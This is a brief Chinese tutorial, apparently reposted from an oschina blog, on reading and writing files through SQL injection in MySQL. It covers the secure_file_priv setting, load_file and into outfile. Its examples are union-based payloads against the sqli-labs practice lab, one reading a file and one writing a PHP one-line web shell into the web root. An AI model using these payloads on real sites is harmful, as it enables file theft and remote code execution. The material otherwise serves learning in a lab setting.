SQL注入中的文件读写
以mysql为例
mysql读写文件有一个非常重要的前置条件：
show global variables like '%secure%'
查看mysql全局变量的配置，当输入以上命令后，结果
secure_file_priv = 空的时候 ，任意读写
secure_file_priv = 某个路径的时候，只能在规定的那个路径下读写
secure_file_priv = NULL 不能读写
要修改配置在数据库配置文件中修改
读：
load_file('filename') filename就是指定读取的文件
以sqlilab的第1关为例：
-1' union select ,1,(Select load_file('c:/phpstudy/www/1.txt')),3%23
读取1.txt里面的内容
写：
select 'content' into outfile 'filename' : content指的是我们要写的内容，filename是要保存的文件名
以sqlilab的第1关为例：
-1' union select 1,2,"?php@eval($_GET['test']);?" into outfile 'c:/phpstudy/www/test123.php' %23
把一句话木马写到/www/test123.php
读写的条件：
1、secure_file_priv 的值不能是null
2、要知道读写的绝对路径
来源：oschina
链接：https://my.oschina.net/u/4339343/blog/4303033